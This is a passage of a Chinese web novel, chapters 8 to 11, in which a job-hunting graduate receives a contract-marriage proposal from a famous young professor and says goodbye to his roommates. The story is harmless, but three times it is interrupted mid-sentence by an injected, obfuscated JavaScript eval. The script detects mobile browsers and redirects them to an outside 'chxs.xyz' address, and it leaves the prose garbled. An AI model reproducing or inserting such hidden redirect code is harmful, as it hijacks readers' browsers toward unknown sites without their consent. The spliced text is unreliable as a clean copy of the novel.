郭振精神奕奕,一副我早就知道你感兴趣的表情:“要我发你他的论文集和会议发言视频一起成为粉丝吗?” 岑康宁十动然拒,正色道:“不,这倒不必了。我就是有点好奇,他到底有多厉害能被振哥你这么经常的提起。” “哦,这个啊——” 说到了自己专业领域,郭振更开心了,兴致勃勃开始了他的科普时间。 其实忽略掉那些完全听不懂的专业术语,岑康宁最后只记住了两三句。 印象深刻的更是只剩下祁钊22岁博士毕业发nature一作,24岁拿到斯坦福教职这两件事。 但听完后岑康宁还是大概明白为什么P大肯给祁钊配偶安置名额。 因为相比于其他条件,诸如上千万的实验室设备之类,这简直是P大所能提供的最微不足道的条件。 可问题又来了。 这位刚一回国就遭到各大高校拉横幅接机而上了热搜的顶级天才,怎么会沦落到跟自己相亲呢? 难道真得是他八字太好? 可岑康宁转念想到自己早早去世的父母,还有二十二年一贫如洗的生活。 这八字哪里好了,分明就很差。 不过算了,反正也跟自己没什么关系,对方压根就没看上他。 岑康宁这样想着,将脑海中那张冷漠又英俊的面容强自删除出去,全身心投入如火如荼的春招之中。 直到一星期后。 他在去某教培机构面试的路上,收到了娟姨的微信。 “还记得上回相亲吗?你琴姨说对方对你很满意,问我要不要尽快找一天把日子定下来。” 8. 第 8 章 岑康宁惊得差点把手机摔出去。 不是,定下来? 这就定下来了! 不是不满意他吗?连微信都没加,结果这就要定下来? 岑康宁不可思议揉了揉眼睛,又把娟姨的微信消息重新看了一遍,确认不是自己看错。 他第一时间没回消息。 因为此刻的他情绪激动,根本没办法回消息。 而就在这时,娟姨的下一条消息接踵而至:“哦对了,还有这个,这是男方微信,你可以加一下,两人聊一聊。” 岑康宁:“……” 他死死盯着娟姨推过来的微信名片。 几乎是用尽所有的意志力才没有鸽掉即将到来的面试立刻点开名片添加对方好友。 可饶是如此,在接下来的面试中,他还是表现出了前所未有的心神不宁。 面试官对此显然很是不满。 “这位同学,面试你都没办法专心吗?” 岑康宁恍然回过神来,先是礼貌道歉:“哦,对不起对不起,我不是故意的。” 面试官本来是很生气的。 然而岑康宁刚一道歉,他就怎么也气不起来了。 他控制不住地盯着岑康宁鼻梁上那颗小小的黑痣,然后便用连自己都没意识到的温柔语气说:“没关系,同学。我们言归正传,你真的不想考虑我们的线上主播岗吗?” 岑康宁:“……” 他就说,自己才不会因为区区一个图书馆管理员的岗位而在面试中跑神。 让他控制不住跑神的,分明是刚才这面试官滔滔不绝劝他改行主播的事迹。 其实岑康宁本来是很不乐意来面试教培机构的。 教培这个行业一是吃青春饭严重。 二则,岑康宁早在辅导黄光远的过程中就厌倦了成为梦想领航员这件事。 可没办法,岑康宁一时竟然无路可走了。 这一周他又努力找了一周的工作。 效果都很一般。 振哥师弟的内推码岑康宁拿到了,可岑康宁还没去面试,师弟就加上他微信,非常痛苦地告诉了他一个很不幸的消息。 “对不起啊师弟,我们产品线可能要全部裁员了。” 岑康宁:“?” 还带这样的! “没办法,现在形势不好,实话跟你说吧,我也很早就想跳槽了,只是实在没找到。” 岑康宁只觉天昏地暗,前途无光,却还要在微信上安慰师弟:“没事儿师兄,你有大厂履历,很好再找的。加油,千万别泄气!” 然后师弟给他发了什么呢? 好像是一个苦笑的表情包吧。 又好像是一个打工人抓狂的表情包。 总之看上去挺搞笑的,岑康宁还保存了,留着以后自己被裁员的时候用。 虽然都不知道自己有没有机会被裁员。 在这种情况下,岑康宁不得不开始考虑教培行业。 众所周知,教培行业虽然有着这样或那样的缺点,可它至少给毕业生的薪水够高。 只要你学历够好,当年高考成绩够高,教培就敢要。 春招群里有人身先士卒签约。 岑康宁听那意思,年薪可以给到30万。 啧啧,要不怎么说岑康宁是个俗人呢?一听到30,什么原则喜好都不重要了。 他果断也投递了简历。 然后很快凭借着从小优秀到大的成绩和大学时丰富的1V1家教经验进入了最终面。 可岑康宁没想到,最终面竟然是这样一幅光景。 “同学你听我说,以你的外形条件,是很适合当主播的。相信我,普通的教培岗完全不适合你,教学压力大不说,还要经常面对奇葩学生和家长。你就说,万一上课的时候,你在学生家里被性骚扰了怎么办?” 岑康宁微不可见蹙起眉心,觉得面试官这话说的若有所指,他很不舒服。 “这好像不是面试官需要担心的问题吧?” “面试官当然要担心了!毕竟……”说话的时候,面试官忍不住又将目光落在岑康宁脸上,这次倒是不看鼻梁了,换成看嘴。 岑康宁的嘴很漂亮。 颜色漂亮,形状也漂亮。 面试官难以避免地陷入某些幻想。 然而很快,一切戛然而止。 岑康宁冷冰冰的嗓音倏然在他耳畔响起:“不劳面试官操心了,因为我是成年人,能举报,会录音。” 说着,岑康宁给面试官看了一眼自己正在录音的手机界面。 面试官的冷汗登时冒了出来。 “对不起,对不起,我不是故意的。” 离开前岑康宁说:“这些话请老师还是跟你们公司说吧。”说完毫不犹豫拧开门把手,脚步飞快走了出去。 — 出了门,岑康宁一时不知道去哪里,漫无目的地走在人来人往的马路上。 其实从小到大,因为这张脸岑康宁所遭遇的恶心事儿太多了,比较起来方才那面试官根本算不得什么。 但这种事情无关大小。 每次发生以后,都可以让岑康宁心情糟糕许久。 如果有可能的话,岑康宁宁愿自己没有长着这样一张脸,他宁愿自己普通又平平无奇,这样就不至于在讨生活的时候,还要分出几分力气来生气。 可没办法,长相是天生的。 岑康宁倒是也想问问父母,可惜老爸老妈在他六岁的时候就离开了他。 岑康宁只能被迫接受。 只是出了这档子事,这家教培估计是去不了了。岑康宁想起那三十万年薪,多少有点可惜。 不过其实也没有特别可惜。 首先三十万肯定是税前;其次岑康宁打听过,这笔钱可还是有业务要求的,学生续课率不过关休想拿到。 所以这不还是销售么? 岑康宁苦中作乐想,销售总监的含金量还在提高。 他现在已经完全可以接受成为销售了,也许过阵子底线下降,直播销售也未尝不可以接受。 然而反复思量自己在直播间里嘶哑着嗓音喊123上链接的场景后,很不可避免地,岑康宁想起了他在图书馆的那个早上。 轻松,悠闲,缓慢。 鬼使神差。 他点开了微信。 自然先是给娟姨回复了消息,而后很迅速地,岑康宁点开了他从半小时前开始就非常想点开的微信名片。 他告诉自己,也不是说就要嫁了,但这不是好奇吗? 谁不好奇16岁就去斯坦福上大学二十岁拿到第一个博士文凭的高质量人类微信号长什么样呢? 脑海中又不受控制的出现出那张冷如冰霜的脸来。 讲真,岑康宁觉得祁钊其实长得真不像什么科研大佬,至少不像岑康宁想象中的科研大佬。 岑康宁以为的那种科研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824582|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大佬,都是那种温温柔柔,戴着眼镜头发花白又秃顶的。 而祁钊的气质看上去与其说是搞科研的,倒不如说更像男模。 尤其他身高还够高,一米八七的大高个,坐在咖啡馆座位上的时候那两条大长腿简直无处安放。 当然脸不太像。 因为男模的脸往往过于崎岖,空有一副身架子。 祁钊的脸却恰恰相反,有着让岑康宁足够印象深刻的英俊。 这也是为什么当初只是浅浅看了一眼热搜链接,岑康宁就记住了这张脸。 无他,人群中实在太出挑,着实很难让人忘记。 但岑康宁也是属实没料到,他本以为祁钊的微信号会跟他本人一样冷酷无情,顶着全黑色的头像和只有一条横线的朋友圈,从头到脚写着生人勿扰。 结果他点开一看—— 祁钊竟然有微信头像? 他这种人也会专门设置微信头像吗? 岑康宁顿时来了兴致,想也不想点开大图,然后就被一个简单粗暴的中英双文备忘录截图怼了一脸。 北京时间6:00am—11:00pm在线。 其余时间请发邮件。 邮箱:。 岑康宁:“?” 不知为何,看到这个头像后,一种前所未有的紧迫感忽然出现,让原本歪七扭八靠在柱子上的岑康宁立刻规规矩矩站直了身体。 过了好几秒钟那种紧张感才消失不见。 但岑康宁也是欠得慌,竟然忍不住又去点祁钊的朋友圈想一探究竟。 可添加对方为好友的按钮属实还是距离朋友圈位置太近了,一个不小心,岑康宁就水灵灵地将好友申请发了过去—— 结果他的好友申请备注还停留在上回加郭振师弟的那一天。 于是好友申请被通过以后。 两人的对话界面就成了这个样子。 咸鱼(春招已黑化版):师兄你好,我是岑康宁【挤眼】【爱心】【玫瑰】\(^o^)/~ 岑康宁:“……” 岑康宁不承认自己恼羞成怒了,但此时此刻忽然变得滚烫的脸颊温度却骗不了人。 如果时光倒流他点开祁钊微信前一定先改微信昵称。 然后再改好友申请。 可问题又来了,这样的微信号祁钊也通过,难道他微信设置了自动通过所有好友申请吗? 这时,嗡—— 手机震动了一下。 祁钊发来了回复,是一个干脆利落的PDF文件。 岑康宁好奇地下载打开以后,发现那赫然是一份以岑康宁为乙方祁钊为甲方的协议结婚合同。 合同总长足足二十页。 只有前三页是正文,后面十七页都是附录解释。 密密麻麻的字眼让岑康宁叹为观止,一时间岑康宁以为自己正在跟论文指导导师发微信,于是整个人精神恍惚,摇摇欲坠,手指比大脑反应更快地给祁钊回了个“1”。 幸好祁钊对他这个“1”没什么意见。 显然他平时也是这么回自己学生的。 9. 第 9 章 “这是初步合同,你先看,有意见直接用宋体五号红色加下横线标注。我四十分钟后回复你。” 顶着工作时间安排表的相亲对象如是对岑康宁道。 岑康宁眨眨眼,想到文件里那密密麻麻的字眼,认为四十分钟是不是有点儿太少了。 祁钊对自己到底有什么误解。 认为他第一学历985所以可以四十分钟内阅读完一篇长达20页的中文文献吗? 那岑康宁今天可就要给祁钊开开眼界了。 “抱歉祁教授,四十分钟对我来说可能有些不够。” 祁钊:“需要多久?” 咸鱼(因文献阅读能力有限正在黑化版):“一个月(不是,我开玩笑的,今晚争取看完,明天我回复您吧,可以吗?” 祁钊:可以。 说完又发给岑康宁一张图。岑康宁都不用点开,因为那张图赫然就是祁钊的头像高清版。 岑康宁心想我都知道了,您放心,我绝不会在晚上十一点后早上六点前的睡眠时间打扰到您。 但出于礼貌,岑康宁还是回复了句。 “1111111” “【收到】” 一只粉红色的小猪表情认真,比出个OK的手势。 祁钊不再回复了。 也不知道是被岑康宁的表情包给吓到了,还是因为太忙,没工夫回复。 不过无所谓。 岑康宁已经获得了对方珍贵的好友位,于是径直点开那张头像,直奔朋友圈而去。 “咦,刚刚才转发了一个链接?” 岑康宁好奇点了进去。 结果下一秒僵住。 只见那链接第一行宋体加粗标题,赫然写着一排大字:“本科生如何提高文献阅读效率?” 岑康宁:“……” — 回宿舍的路上。 岑康宁一路都在想,那条链接是不是仅自己可见。 他一边觉得,应该不会,祁钊这种身份,没道理这么针对他还专门发一条朋友圈。 可另一边,那篇文章的针对性实在太强。 本科生,文献阅读能力。 真不怪他多想。 直到他走到宿舍楼下,看着四周依依不舍正在亲嘴的多对情侣,心想,管它呢。 不管是不是发给自己的。 他权当没看见就行。 反正就算他今晚没看完合同,明天给不出意见 ,祁钊应该也不会暴跳如雷。 由此可见岑康宁咸鱼多年,的确深谙摆烂原理。 不过计划赶不上变化。 岑康宁回来以后本打算用电脑把合同打开,老老实实看上个一整个下午的。 结果刚一回宿舍。 宿舍里的老三曹帅兴冲冲邀请他出门。 “宁宁,晚上别吃饭了,留着肚子。” “啥事儿?” 岑康宁问。 曹帅笑着道:“今晚我请客,去东门外的火锅店。” 岑康宁很快意识到什么,惊讶地睁大眼睛:“三哥你合同签了?” “嗯呢。” 岑康宁立刻鼓掌替他欢呼雀跃:“太好了!恭喜你啊三哥。” “嘿嘿,也不是多好的待遇,不过去他爹的,可算签了。”曹帅深吸了一口气,半是庆幸半是发泄。 岑康宁最近也在找工作,因此十分理解曹帅此时的心情。 而且岑康宁还只是参加了春招。 曹帅可是从去年九月就开始找工作。 结果一直找到今年四月,终于皇天不负有心人,签下了三方合同。 “找到就好。” 岑康宁拍拍他的肩膀。 曹帅黝黑的皮肤泛起不易见的红晕,他看着岑康宁,神情有些不太好意思:“晚上你会来吧?” “来啊,肯定来。” 岑康宁笃定道。 虽然他今晚本来的确是安排好了,但在岑康宁看来,庆祝舍友找到工作的优先级显然要高于阅读文献。 更何况岑康宁想。 吃顿火锅而已,又不会吃一整个通宵。 大不了晚上他在被窝里看合同。 “三哥不会还安排了KTV吧?”岑康宁想了想还是提前问一句。 曹帅摇头:“这倒没有,我现在哪里有那个时间。其实这么匆忙请你们吃饭也是想提前道个别,和公司签完合同以后,我立刻就得去实习了,到时候毕业证那些还得麻烦你们给我寄一下。” 岑康宁也是这时才意识到曹帅其实刚刚在收拾行李。 整整两个大行李箱,还有一个大蛇皮袋的衣物横亘在他的床位前,本就局促的宿舍显得更狭小了。 “怎么这么匆忙?” 猝不及防被离别冲击了一脸的岑康宁暂时还有些无法接受。 虽然他平时在宿舍的时间并不长,可到底是相处了整整快四年,岑康宁觉得自己并没有做好离别的准备。 尤其是他跟曹帅关系还算可以。 但曹帅说:“不早了。” “现在马上都四月中旬,咱们六月初就正式算毕业,满打满算只剩一个半月。也就咱们宿舍一直人都还全,隔壁宿舍都空了三个床位了,要么回家要么实习。” 岑康宁闻言指尖一僵,想到自己距离毕业竟然只剩下一个半月,心脏蓦地停滞了半拍:“这样啊。” 曹帅笑了笑,似乎是觉得气氛有些沉重,便拍拍岑康宁的肩膀:“没事儿,以后我休假了还能回来看你,而且说不定六月份拍毕业照公司不忙我就回来了,到时候我们还能聚。” “也是。” 岑康宁眉眼一弯,强迫自己笑出来。 他很快转移话题:“那行,晚上去吃火锅给你送别,大家都去是吧?” “对,都去,我发群里了。” “好,没问题。” 岑康宁如是答应道。 然后等到316宿舍的其他人陆陆续续回来,曹帅也把行李快递走,一宿舍六个人整整齐齐落座东门外火锅店。 这家火锅店开在大学外,除了个别菜品外人均价格不高,主打一个量大管饱。 岑康宁还记得316宿舍第一次聚餐就在这里。 那时候天南海北的六个男孩儿第一次聚在一起,大家都显得很拘谨。 四年后同样的火锅店,同样的小包间。 一进门所有人张罗着脱外套点菜喝酒,热闹非凡的氛围简直让岑康宁误以为今晚不是离别。 可又分明就是离别。 岑康宁脱了外套,坐在包厢的最角落里,罕见地没有跟大家开玩笑活跃气氛。 曹帅把菜单递给他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824583|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来来,最小的今天先点。” 岑康宁闻言一乐:“三哥不怕我点海鲜啊?” 这话也是玩梗。 说的是316第一回来吃火锅的事情。 那会儿几个愣头小子不懂菜单,对着各种菜品就是一通瞎点,结果最后买单的时候看着账单里按只算的海鲜面面相觑。 好险当时宿舍老大有点存款,这才没有开学第一天所有人就开天窗。 不过今时不同往日。 当年的段子今天拿出来情况不一样了。 曾经囊中羞涩的穷小子曹帅拍着胸膛便放话道:“随便点,你三哥现在有钱!” 当然只是开玩笑,但曹帅这番豪迈的发言还是引起了宿舍众人的热议。 “看来帅哥这回工资签了不少啊。” “666,不愧是准大厂人,说话就是硬气。” “不多说了,苟富贵,勿相忘。以后发达了别忘了拉哥们一把!” 曹帅笑呵呵地一一回应,说:“其实也没多少。” 又说“工资是还可以,但压力也大啊,加班也多,都是靠卖命赚钱。” 但不难看出他此刻心情愉悦,兴奋溢于言表。 岑康宁承认,自己多少有些羡慕。 宿舍老大更羡慕:“早知道跟你一起拼大厂了,我都不稀罕说我们单位,做事儿拖拖拉拉的,一个三方都给我拖这么久。” 宿舍老大也签好工作了。 是传统国企,还是干得老本行土木,跟着公司一起跑工程。 听说今年先去非洲。 于是曹帅道:“好歹老大你四年没白学,我呢,这四年可算是喂了狗了。” “也不能这么说,好歹也混了个文凭不是?” “这倒是。没我Q这个门槛,简历都过不了第一关。” 曹帅点头。 包厢里男孩儿们又就彼此的就业去向和严峻的就业形势发表了诸多感言。 岑康宁期间一直在默默点菜,估摸着点的差不多了,才把菜单递给曹帅。 “三哥你看看够不,还要不要加点啥。” “哦行,我看看。” 曹帅接过菜单道。 这时其他人也许是注意到了一直没说话,今天有点儿沉默的岑康宁,想把他拉到话题里,便开玩笑道: “要说四年没白学,那还得是宁宁和明博啊。以后跟了土院之虎,不妥妥地土木未来之星。” “谁说不是呢。” 宿舍老大开了瓶啤酒,深以为然:“我是没机会了,过阵子就去非洲打灰去。宁宁你俩好好干,争取再读个博,留个校。以后等我被裁员了,我就来找你们读研。” “我艹老大你这算盘打得够精啊。” “可不是,宁宁你就说行不行?” 说着,老大站起身来,给岑康宁面前的杯子里满满倒上了一杯啤酒。澄黄色的液体冒着气泡,发出噗呲噗呲微弱的声音。 岑康宁听着气泡慢慢破碎的声音,一时间有些犹豫到底是先开玩笑把这件事糊弄过去,还是直接摊牌。 然而不等他想出个妥当的答案。 何明博带着笑意的声音在包厢里旋即响起: “说起这事儿我想起来了,康宁,今天早上组会你怎么没来啊?还有课题组的群里我也没见你。要我拉你进群吗?” 10. 第 10 章 “来来让一让上锅底了啊小心烫——” 老板娘风风火火的大嗓门打断了包厢内的对话。 热气腾腾的鸳鸯锅蒸腾着雾气,混杂麻辣鲜香的浓烈气味,让岑康宁一时有些看不清对面何明博的表情。 但事实上,也并不需要看清。 早在何明博一反常态,忽然拿了蛋糕回来的那天晚上,事实就已经很清晰了。 岑康宁忽然笑出声来。 “哈。” “怎么了?” 坐在他隔壁的曹帅不明就里。 岑康宁又笑了笑,眉眼弯弯,桃花眼弯出好看的弧度,鼻梁左侧黑色的小痣在雾气蒙蒙的空气里若隐若现。 曹帅看呆了数秒。 这时,岑康宁终于不紧不慢开了口。 “其实,我前几天就想告诉大家了。” “什么?” “我放弃保研,决定直接工作了。” 岑康宁道。 “什么!”曹帅吃了一惊,如梦初醒一般地看着岑康宁:“什么时候的事情,你怎么没告诉我?” 岑康宁无辜道:“三哥你也没问啊。” “……” 曹帅愕然怔在原地,这时饭桌上的其他人也终于反应过来,短暂的怔楞后,纷纷发表意见。 “没事没事儿,找工作也挺好的,就宁宁的本事,去哪儿不是薄纱。” “就是,而且刘同虎太坑了,我听人说他特别压榨学生。” “恭喜宁宁脱离苦海,不研究土木了以后好日子还在后面呢!” 众人七嘴八舌地安慰岑康宁,完全没将包厢里还坐着个何明博的事情放在心上。 倒也正常。 岑康宁和何明博在宿舍里的地位就是一个天一个地。 如果说316的大家没人不喜欢岑康宁的话,那么何明博就是恰恰相反,完全没人喜欢。 虽然没闹到明面上。 大家平时聚餐说话也会带上他,不至于孤立。 可一旦像现在这样真聊起来了,大家也没人想顾及他。 何明博在宿舍里大概就是这么个定位。 不过显然,今天的何明博有些不太知足于原有的定位,往常应该沉默低头吃饭,或者干脆利落找个借口走人的他,今天忽然像是喝了什么假酒。 他抬了抬被火锅热气熏得已经有些模糊的眼镜,声音尖锐问岑康宁:“那你找到什么好工作了?” 包厢里于是又迎来一阵安静。 曹帅脸色不好看,这会儿他要是还看不出何明博故意针对岑康宁他就别活了。 此时此刻他也十分后悔。 为什么要邀请何明博过来? 好好的一顿送行宴,全被何明博毁了。 可话又说回来,如果不是何明博,曹帅又怎么可能知道岑康宁被迫放弃保研的事情呢? 登时,曹帅眼神又是一暗。 在场的其他舍友也有些看不过眼,纷纷撸起袖子打算替岑康宁大战一场。 然而作为苦主本人的岑康宁云淡风轻。 他似乎完全没有被冒犯到,只轻飘飘瞥一眼何明博,笑道: “老四你这么关心我去向,怎么,暗恋我?毕业想表白?” 何明博:“……” 原本剑拔弩张的氛围登时被岑康宁四两拨千斤搅散。 正好老板娘又上了肉和菜,不一会儿,锅开了,包厢里便又重新恢复到一开始热热闹闹的氛围。 只除了今天请客的主人曹帅。 自打出了这番对话以后,他从头到尾闷闷不乐,和所有人敬酒的时候,虽然脸上还带着笑,但那笑意却完全没深入眼底。 直到散席。 曹帅叫住岑康宁。 “宁宁,我行李有点多,你能送我去火车站吗?” “……行。”岑康宁也喝了一点小酒,但不多,白皙的脸颊微微泛着红晕,脚步有轻微的虚浮。 他其实晚上还有事要忙。 想要看完那份长达二十页的合同粗略估计至少需要两个小时时间。 但岑康宁并没有拒绝曹帅,他拎起曹帅的一个行李箱,陪他上了出租车。 “宁宁。” 一上出租车,两人都坐在后排。除了司机师傅以外就剩下他们两个人,曹帅迫不及待开了口。 “你老实跟我说,你的名额是不是被何明博抢走的?” 岑康宁闻言苦笑:“三哥,你既然都猜到了,就别提了。” “艹……我就知道!” 曹帅低声骂了句,控制不住地攥紧了手里的包带。 “太过分了,我以前以为他只是性格古怪了点,没想到他人品竟然都有问题。” “没事三哥,我后来也想明白了,不去反倒是好事。” 岑康宁低声道:“而且既然刘同虎能为了他换我,证明也可以用别人换我,我并没有那么不可或缺。” “你别这么说,刘同虎还不是看在他爸的面子上。” “一样的。” 岑康宁苦笑:“这社会不就是这样吗?三哥你找工作这么久,难道还没意识到?” 曹帅沉默。 岑康宁反过来安慰他:“三哥别气,为这种人生气不值当。我真不在意的,其实早点工作对我来说也是好事。” 曹帅心疼地看着他。 “宁宁。” “我真没事儿。” 岑康宁犹豫了下,最终还是没把自己可能已经找到工作的事情告诉曹帅。 一来他还没看合同,不确定合同里有没有什么逆天的条件。 二来,其实岑康宁自己也没完全想好。 要为了一个图书馆工作就把自己这么草率嫁出去吗? 虽然对方是鼎鼎有名的科研大佬,而且平心而论外表很养眼。可人心难测,十六年来寄居人下的生活让岑康宁早早懂得了什么叫“天下没有白来的午餐”。 所以即便岑康宁如今的确处于一个比较艰难的阶段。 但仔细一想,其实他也的确还没到完全无路可走。 首先,他有一点存款。 其次,工作就算一时半会儿没办法找到特别满意的,可凭着他的学历,找到一个凑合过度的工作却并不难。 另外娟姨那边,岑康宁就是不从,娟姨大不了将他赶出去,难道还能真把他打昏了送去领证吗? 所以岑康宁是真的没想好。 这也是为何他无法说出口的原因。 曹帅却不知道他此刻复杂的心理活动,将他眼神里的犹豫全解读成了为难。 一股勇气不知为何涌现了出来。 曹帅说:“宁宁,不如你跟我走吧。” “哈?” 岑康宁疑惑。 曹帅情绪激动:“现在工作那么难找,你一时半会儿找不到合适的很正常。不如你跟我一起去H市,我在那边租了房子,找到工作以前都能养你。” 岑康宁有些受宠若惊:“三哥你……” 但很快他冷静下来。 不行,虽然曹帅人很好,但一来H市他人生地不熟,二来,他怎么能麻烦曹帅呢? “谢谢三哥,不过真的不用了,我还好,真的。工作的确不好找,但我也不是完全找不到。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824584|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 岑康宁又说:“而且三哥你相信我,我没定下来,只是因为还在挑挑拣拣罢了。” “真的吗?” “真的。” 岑康宁语气笃定,眼神认真看向曹帅。 曹帅也看着他,黑暗的车厢里那双黑漆漆的眼睛似乎欲语还休,饱含许多深刻与复杂的情绪。 但直到最后,曹帅还是什么也没说出口。 火车站前,他用力地抱了一下岑康宁。 “宁宁,再见。” “再见三哥,哦不,不对,不要搞得这么感伤,希望我们一个半月后就能见。” 曹帅笑了笑,表情很是放松:“行,说好了,一个半月后就见。到时候你要真还没找工作,我就把你直接带走。” “哈哈。” 岑康宁也笑了,朝曹帅挥手:“行了,三哥你快走吧,别误点。” “还早呢。”曹帅这样说着,不过看到岑康宁在寒风里略显单薄的身影,最终还是拖着行李箱恋恋不舍地离开了。 — 曹帅走后岑康宁转头进了地铁。 虽然曹帅在临走前给岑康宁发了红包,让他打车回去。 可岑康宁一想,打车要五十多块钱呢。 曹帅的经济情况其实也不算好,虽然好不容易签了大厂,以后钱途光明。可考虑到对方到底还是在试用期,再加上刚出学校,各种地方都需要钱,岑康宁就没收。 他觉得坐地铁也不错。 安全,不堵车。 虽然距离Q大最近的地铁站距离校门口也有五公里,但区区五公里,岑康宁随便扫个共享单车就骑回去了。 更何况岑康宁还想在回去的路上看会儿合同,略微有一些晕车的出租车显然不是首选。 只是岑康宁没想到,他坐上了最后一班地铁,又吭哧吭哧顶着寒风骑车到学校。 人都到宿舍楼下了。 却被一把锁拦住。 和岑康宁一起被拦住的还有好几个男生,每一个人脸上都写着憋屈。 “这是怎么了?宿管不给开门吗?” 岑康宁惊讶问。 一个男生骂骂咧咧道:“不给开,新来的宿管晚上爱戴耳机听小说,怎么叫都不给开,靠!” 岑康宁眉心一蹙,果断掏出手机:“我去联系保卫科。” “别提了,我刚打过电话,你猜他们怎么说?竟然说晚上十一点就是要关门!” “……” 岑康宁无语了:“所以我们今晚就要被关外面了?” “可不是。” 另一个男生道。 靠—— 岑康宁也忍不住暗骂一声。 倒不是他嫌在外头住要花钱,只是今晚出门前他根本没带身份证。 就算有钱想外宿,酒店也不肯啊。 所以还能去哪里过夜? 不需要身份证的那种。 正在岑康宁苦思冥想的时候,已经有难兄难弟开始撤退。岑康宁灵机一动,问他们:“哥们,你们要走了吗?” “是啊,又进不去,堵这里干嘛。” 岑康宁眨眨眼,问:“那个,我能问问你们打算去哪里过夜吗?我没带身份证,想知道什么地方不需要身份证也能过夜。” 岑康宁觉得自己这个问题问的没什么毛病。 语气也足够礼貌。 然而被他逮着问话的男生却用一种奇怪的眼神看着他。 “你不是本地人吗?” “是。” “那不就对了,直接回家啊,你爸妈还能不给你开门咋地?” “……” 11. 第 11 章 祁钊在第二天凌晨四点半收到相亲对象同意合作的微信。 虽然看到微信的时候已经是早上五点。 但祁钊还是一直拖延到六点零一分,才给相亲对象回复。 此外,他又将自己的工作时间安排表发给了相亲对象—— 尽管他在两人第一次对话时就已经发过一遍,但显然,对方并没有放在心上。 祁钊其实并不介意重新发一遍。 毕竟他睡眠质量良好,睡前所有通讯工具关机。哪怕对方不遵守他的时间安排,也并不会影响到他的睡眠与作息。 可祁钊认为,若是两人皆有意愿达成合作,那么对彼此双方的尊重至关重要。 所以他打字:“第五页第五行的意见里,有一个错别字。” 对方没有回复。 也许是对方熬夜看合同,现在睡着了。 又也许只是被指出错别字后恼羞成怒。 有心理学研究表明,约莫百分之七十的人并不喜欢被指出错别字,而这百分之七十的人中又有足足三分之一左右的人群被指出错别字后会恼羞成怒,以至于记恨指出错误者。 显然,相亲对象属于这百分之七十。 顺带一提,祁钊属于百分之一: 只有百分之一的人群在打字后会耐心检查,几乎不太可能出现错别字。 无所谓。 虽然两人有着这样的天壤之别。 但祁钊还是更愿意在“自恋型人格障碍”“边缘型人格障碍”以及“表演型人格障碍”中选择岑康宁。 理由很简单,祁钊再也无法忍受他的母亲刘海俐女士长达一个月在实验室门口携带嘌呤化合物蹲守自己的行为。 尽管在刘海俐第一次出现的时候他就有交代过保卫科不让她进门。可显然,保卫科畏惧于两人的血缘关系,并没有将祁钊的话放在心上。 祁钊迫于无奈,只好接受刘海俐女士持之以恒的结婚提议。 — 岑康宁在24小时营业麦当劳度过了一个艰难的晚上。 没有躺着睡觉的地方,只能趴着,因此他彻夜难眠,靠着阅读文献,直到第二天凌晨五点钟左右才昏昏沉沉的睡过去。 醒过来的时候天已经亮了。 明亮的光线刺地他眼睛生痛。 岑康宁先是睁开眼,然后赶紧又闭上,让眼睛适应了好一会儿之后才终于敢慢慢抬起眼皮。 这时候的麦当劳已经人满为患。 热豆浆与麦满分的香气扑鼻而来,同昨天半夜寂寥的店内形成鲜明对比。 不过岑康宁内心其实无比感激,如果不是这间24小时营业的麦当劳,深更半夜没带身份证,他还真不知道去哪里。 想到这里他不由得露出一个苦笑。 但那个难看的笑容只在他略显憔悴的脸上停留了一小会儿,很快,岑康宁找到一个充电宝,给手机开机,苦笑便迅速地转换成了另一个表情。 “?” 撤回了,什么意思? 岑康宁若有所思地揣摩着祁钊发来的消息。 第一条自是不必多提。 简单粗暴地一个“1”,表示收到。 第二条么,虽然有些意外,但仔细一想也在情理之中。 毕竟岑康宁昨晚的确是没有遵守祁钊的时间规定,竟然在早上四点半就给他发去消息。 尽管那时候岑康宁手机即将没电关机。 可若是岑康宁足够清醒,他就会发现其实他并不需要看完合同后立刻给出反馈意见。 这点岑康宁承认,是自己做的不对。 所以后一条被撤回的消息是针对于这一点的严重声明吗? 岑康宁看着已经裂缝的手机屏幕,轻轻抿了下唇,不假思索打字:“对不起,下次不会了,希望昨天没有影响到您。” 也许是因为这回在工作时间内。 对方迅速秒回了消息。 “没有。” 祁钊说。 “放心,我其实也没有那么介意。”他又补充。 岑康宁笑了笑,觉得这位传说中的科研大佬也许并没有自己想象中的那么冷酷,有时候还是挺平易近人的。 便发去一个表情包,和之前的收到小猪是同一个系列。 粉红色的小猪从黄色的篮子里掏出一个爱心。 比心(这事儿就算过去,岑康宁以为)。 然后不等祁钊回复,岑康宁兀自将话题转向下一个:“祁教授对我提出的几个意见有什么想法?” 祁钊沉默一会儿,发来一个“结婚协议2.0修改版”PDF。 